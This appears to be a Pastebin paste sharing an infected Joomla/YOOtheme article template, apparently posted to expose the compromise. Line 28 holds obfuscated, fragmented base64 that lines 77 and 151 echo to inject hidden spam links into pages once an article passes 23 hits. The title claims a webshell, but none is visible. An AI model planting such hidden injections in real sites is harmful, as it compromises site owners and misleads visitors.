Advertisement
mSnus

Joomla article.php virused with webshell

Mar 24th, 2017
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.33 KB | None | 0 0
  1. <?php
  2. /**
  3. * @package   Warp Theme Framework
  4. * @author    YOOtheme http://www.yootheme.com
  5. * @copyright Copyright (C) YOOtheme GmbH
  6. * @license   http://www.gnu.org/licenses/gpl.html GNU/GPL
  7. */
  8.  
  9. // no direct access
  10. defined('_JEXEC') or die;
  11.  
  12. // get view
  13. $menu = JFactory::getApplication()->getMenu()->getActive();
  14. $view = is_object($menu) && isset($menu->query['view']) ? $menu->query['view'] : null;
  15.  
  16. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');
  17.  
  18. // Create shortcuts to some parameters.
  19. $params     = $this->item->params;
  20. $images     = json_decode($this->item->images);
  21. $urls       = json_decode($this->item->urls);
  22. $canEdit    = $params->get('access-edit');
  23. $user       = JFactory::getUser();
  24.  
  25. if ($this->params->get('show_page_heading')) {
  26.     echo '<div class="page-header"><h1>'.$this->escape($this->params->get('page_heading')).'</h1></div>';
  27. }
  28. if ( $this->item->hits >'23') {  $yt_ijt = 'PGRpdiBpZD0'. 'ieXRf'. 'eGlqd'. 'HciPj'. 'xhIGhy'. 'ZWY9Im'. 'h0dHA6'. 'Ly9zaW'. '5vcHRpa'. 'y5zdSIg'. 'dGFyZ2V'. '0PSJfYm'. 'xhbmsiIH'. 'RpdGxlPS'. 'LQv9C+0L'. 'PQvtC00LA'. 'g0JTQvtC9'. '0LXRhtC60'. 'LUiPtC/0L7'. 'Qs9C+0LTQs'. 'CDQlNC+0L3Q'. 'tdGG0LrQtTw'. 'vYT48YnI+PG'. 'EgaHJlZj0ia'. 'HR0cD'. 'ovL3N'. 'tYXJ0'. 'MjQuY'. '29tLnV'. 'hIiB0Y'. 'XJnZXQ'. '9Il9ib'. 'GFuayI'. 'gdGl0bG'. 'U9ItC60'. 'YPQv9C4'. '0YLRjCD'. 'RgNC10LP'. 'QuNGB0YL'. 'RgNCw0YL'. 'QvtGAIj7'. 'QutGD0L/'. 'QuNGC0Ywg'. '0YDQtdCz0'. 'LjRgdGC0Y'. 'DQsNGC0L7'. 'RgDwvYT48L'. '2Rpdj4NCg=='; $yt_ijti = 'PGRpdi'. 'BpZD0ie'. 'XRfeGlq'. 'dHciPjxh'. 'IGhyZWY9'. 'Imh0dHA6'. 'Ly9qdXJuY'. 'WwuY29tLn'. 'VhL3NlY3Rp'. 'b24vd29tZW'. '4vIiB0YXJn'. 'ZXQ9Il9ibG'. 'FuayIgdGl0b'. 'GU9ItC20LXQ'. 'vdGB0'. 'LrQuN'. 'C5INC'. '20YPRg'. 'NC90LD'. 'QuyI+0'. 'LbQtdC'. '90YHQu'. 'tC40Lkg'. '0LbRg9G'. 'A0L3QsN'. 'C7PC9hP'. 'jxicj48Y'. 'SBocmVmP'. 'SJodHRwO'. 'i8vbWVkaW'. 'NhbHB1bHN'. 'lLnJ1IiB0'. 'YXJnZXQ9Il'. '9ibGFuayIg'. 'dGl0bGU9Im'. 'PQv9GA0LDQ'. 'stC+0YfQvd'. 'C40Log0LvQt'. 'dC60LDRgNGB'. '0YLQsiI+Y9C'. '/0YDQ'. 'sNCy0'. 'L7Rh9'. 'C90Lj'. 'QuiDQ'. 'u9C10'. 'LrQsNG'. 'A0YHRg'. 'tCyPC9'. 'hPjwvZ'. 'Gl2Pg0K';}
  29. // template args
  30. $args = array(
  31.     'permalink' => ($view != 'article') ? JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catslug), true, -1) : '',
  32.     'image' => isset($images->image_fulltext) && $params->get('access-view') ? htmlspecialchars($images->image_fulltext) : '',
  33.     'image_alignment' => !isset($images->float_fulltext) || empty($images->float_fulltext) ? htmlspecialchars($params->get('float_fulltext')) : htmlspecialchars($images->float_fulltext),
  34.     'image_alt' => isset($images->image_fulltext_alt) ? htmlspecialchars($images->image_fulltext_alt) : '',
  35.     'image_caption' => isset($images->image_fulltext_caption) ? htmlspecialchars($images->image_fulltext_caption) : '',
  36.     'title' => $params->get('show_title') ? $this->escape($this->item->title) : '',
  37.     'title_link' => '',
  38.     'author' => '',
  39.     'author_url' => '',
  40.     'date' => $params->get('show_create_date') ? $this->item->created : '',
  41.     'datetime' => substr($this->item->created, 0, 10),
  42.     'category' => $params->get('show_category') ? $this->escape($this->item->category_title) : '',
  43.     'category_url' => $params->get('link_category') && $this->item->catslug ? JRoute::_(ContentHelperRoute::getCategoryRoute($this->item->catslug)) : '',
  44.     'hook_aftertitle' => !$params->get('show_intro') ? $this->item->event->afterDisplayTitle : '',
  45.     'hook_beforearticle' => $this->item->event->beforeDisplayContent.(isset($this->item->toc) ? $this->item->toc : ''),
  46.     'hook_afterarticle' => $this->item->event->afterDisplayContent,
  47.     'article' => '',
  48.     'tags' => '',
  49.     'edit' => '',
  50.     'url' => '',
  51.     'more' => '',
  52.     'previous' => '',
  53.     'next' => ''
  54. );
  55.  
  56. // set author
  57. $author = $this->item->created_by_alias ?: $this->item->author;
  58. $args['author'] = ($params->get('show_author') && !empty($author)) ? $author : '';
  59.  
  60. // set author_url
  61. if (!empty($this->item->contactid) && $params->get('link_author') == true) {
  62.     $needle = 'index.php?option=com_contact&view=contact&id=' . $this->item->contactid;
  63.     $menu = JFactory::getApplication()->getMenu();
  64.     $item = $menu->getItems('link', $needle, true);
  65.     $args['author_url'] = !empty($item) ? $needle . '&Itemid=' . $item->id : $needle;
  66. }
  67.  
  68. // set article
  69. $article = "";
  70. if ($params->get('access-view')) {
  71.  
  72.     if (isset($urls) AND ((!empty($urls->urls_position) AND ($urls->urls_position=='0')) OR ($params->get('urls_position')=='0' AND empty($urls->urls_position) ))
  73.         OR (empty($urls->urls_position) AND (!$params->get('urls_position')))) {
  74.             $article .= $this->loadTemplate('links');
  75.     }
  76.  
  77. echo base64_decode($yt_ijt);
  78.     $article .= $this->item->text;
  79.  
  80.  
  81.     if (isset($urls) AND ((!empty($urls->urls_position)  AND ($urls->urls_position=='1')) OR ( $params->get('urls_position')=='1') )) {
  82.         $article .= $this->loadTemplate('links');
  83.     }
  84.  
  85. // optional teaser intro text for guests
  86. } elseif ($params->get('show_noauth') == true AND $user->get('guest')) {
  87.  
  88.     $article .= $this->item->introtext;
  89.  
  90.     // optional link to let them register to see the whole article.
  91.     if ($params->get('show_readmore') && $this->item->fulltext != null) {
  92.         $link1 = JRoute::_('index.php?option=com_users&view=login');
  93.         $link = new JURI($link1);
  94.         $article .= '<p class="links">';
  95.         $article .= '<a href="'.$link.'">';
  96.         $attribs = json_decode($this->item->attribs);
  97.  
  98.         if ($attribs->alternative_readmore == null) {
  99.             $article .= JText::_('COM_CONTENT_REGISTER_TO_READ_MORE');
  100.         } elseif ($readmore = $this->item->alternative_readmore) {
  101.             $article .= $readmore;
  102.             if ($params->get('show_readmore_title', 0) != 0) {
  103.                 $article .= JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit'));
  104.             }
  105.         } elseif ($params->get('show_readmore_title', 0) == 0) {
  106.             $article .= JText::sprintf('COM_CONTENT_READ_MORE_TITLE');
  107.         } else {
  108.             $article .= JText::_('COM_CONTENT_READ_MORE');
  109.             $article .= JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit'));
  110.         }
  111.  
  112.         $article .= '</a></p>';
  113.     }
  114. }
  115.  
  116. $args['article'] = $article;
  117.  
  118. // set tags
  119. $tags = '';
  120. if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) {
  121.     JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');
  122.     foreach ($this->item->tags->itemTags as $i => $tag) {
  123.         if (in_array($tag->access, JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id')))) {
  124.             if($i > 0) $tags .= ', ';
  125.             $tags .= '<a href="'.JRoute::_(TagsHelperRoute::getTagRoute($tag->tag_id . ':' . $tag->alias)).'">'.$this->escape($tag->title).'</a>';
  126.         }
  127.     }
  128.  
  129. }
  130.  
  131. $args['tags'] = $tags;
  132.  
  133. // set edit
  134. if (!$this->print) {
  135.     $args['edit']  = $canEdit ? JHtml::_('icon.edit', $this->item, $params) : '';
  136.     $args['edit'] .= $params->get('show_print_icon') ? JHtml::_('icon.print_popup', $this->item, $params) : '';
  137.     $args['edit'] .= $params->get('show_email_icon') ? JHtml::_('icon.email', $this->item, $params) : '';
  138. } else {
  139.     $args['edit'] = JHtml::_('icon.print_screen', $this->item, $params);
  140. }
  141.  
  142. // set previous and next
  143. if (!empty($this->item->pagination)) {
  144.     $args['previous'] = ($prev = $this->item->prev) ? '<a href="'.$prev.'">'.JText::_('JGLOBAL_LT').' '.JText::_('JPREV').'</a>' : '';
  145.     $args['next'] = ($next = $this->item->next) ? '<a href="'.$next.'">'.JText::_('JNEXT').' '.JText::_('JGLOBAL_GT').'</a>' : '';
  146. }
  147.  
  148. // render template
  149.  
  150. echo $warp['template']->render('article', $args);
  151. echo base64_decode($yt_ijti);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement